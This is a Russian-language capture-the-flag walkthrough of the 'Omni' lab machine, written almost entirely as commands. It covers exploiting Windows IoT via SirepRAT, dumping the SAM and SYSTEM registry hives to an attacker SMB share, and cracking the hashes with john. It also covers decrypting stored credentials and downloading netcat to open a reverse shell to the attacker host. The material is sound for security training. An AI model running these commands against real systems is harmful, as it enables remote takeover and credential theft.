Эксплуатация виртуальной машины Omni.

manual https://youtu.be/CsZWZpGm6z8


ping 10.10.10.204
Смотрим ttl

sudo nmap -sS -sV -A -p- -vv 10.10.10.204
-sS sin scan
-sV определяем версию
-А версия операционки
-p- все порты
-vv вывод отчёта

Находим порты 8080, 135, 5985,

заходим на 10.10.10.204:8080

гуглим Windows Device Portal, делаем вывод что это Windows IOT

гуглим Windows Device Portal exploit

находим https://github.com/SafeBreach-Labs/SirepRAT

git clone https://github.com/SafeBreach-Labs/SirepRAT.git
cd SirepRAT/
ls
nano requirements.txt
pip3 install -r requirements.txt
python3 SirepRAT.py --help

проверяем работу python3 SirepRAT.py 10.10.10.204 GetSystemInformationFromDevice


Проверяем возможность запуска удалённых команд
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c echo {{userprofile}}"

Определяем что мы пользователь System

разворачиваем у себя smb сервер

sudo nano /etc/samba/smb.conf

добавляем
[Public]
   comment = Pub
   path = /tmp/Public
   browseable = yes
   read only = no
   guest ok = yes


mkdir /tmp/Public
chmod 777 /tmp/Public
sudo service smbd restart

копируем ветку реестра
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c reg save HKLM\SYSTEM C:\SYSTEM"

копируем сем
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c reg save HKLM\SAM C:\SAM"

sudo ifconfig

забираем реестр
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c copy C:\SYSTEM \\\\10.10.14.112\\Public\\SYSTEM"

забираем сем
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c copy C:\SAM \\\\10.10.14.112\\Public\\SAM"

ломаем

отключаем впн
git clone https://github.com/SecureAuthCorp/impacket.git
python3 ./impacket/examples/secretsdump.py -system /tmp/Public/SYSTEM -sam /tmp/Public/SAM LOCAL

создаем файл с хешем e3cb0651718ee9b4faffe19a51faff95

ломаем хеш
sudo john --fork=4 --format=nt /home/kali/Desktop//hash --wordlist=/home/kali/Desktop/rockyou.txt
sudo echo "e3cb0651718ee9b4faffe19a51faff95" > hash john --fork=4 --format=nt /home/kali/Desktop/hash --wordlist=/home/kali/Desktop/rockyou.txt
пароль mesh5143

заходим на сайт

echo %USERPROFILE%
dir C:\Data\Users\app
more C:\Data\Users\app\user.txt
more C:\Data\Users\app\hardening.txt

powershell -c "$credential = import-clixml -path C:\Data\Users\app\user.txt;$credential.GetNetworkCredential().password"



dir C:\Data\Users\app
more C:\Data\Users\app\iot-admin.xml

powershell -c "$credential = import-clixml -path C:\Data\Users\app\iot-admin.xml;$credential.GetNetworkCredential().password"


administrator
_1nt3rn37ofTh1nGz

echo %USERPROFILE%
dir C:\Data\Users\administrator

more C:\Data\Users\administrator\root.txt


powershell -c "$credential = import-clixml -path C:\Data\Users\Administrator\root.txt;$credential.GetNetworkCredential().password"



Доп

отключаем впн
git clone https://github.com/Shreda/pentestTools
https://eternallybored.org/misc/netcat/

python -m SimpleHTTPServer

python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c powershell Invoke-Webrequest -OutFile C:\\Windows\\System32\\spool\\drivers\\color\\nc.exe -Uri http://10.10.14.133:8000/Desktop/nc64.exe" --v


nc -lvp 7777

python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell C:\\Windows\\System32\\spool\\drivers\\color\\nc.exe -e cmd.exe 10.10.14.133 1234" --v

hostname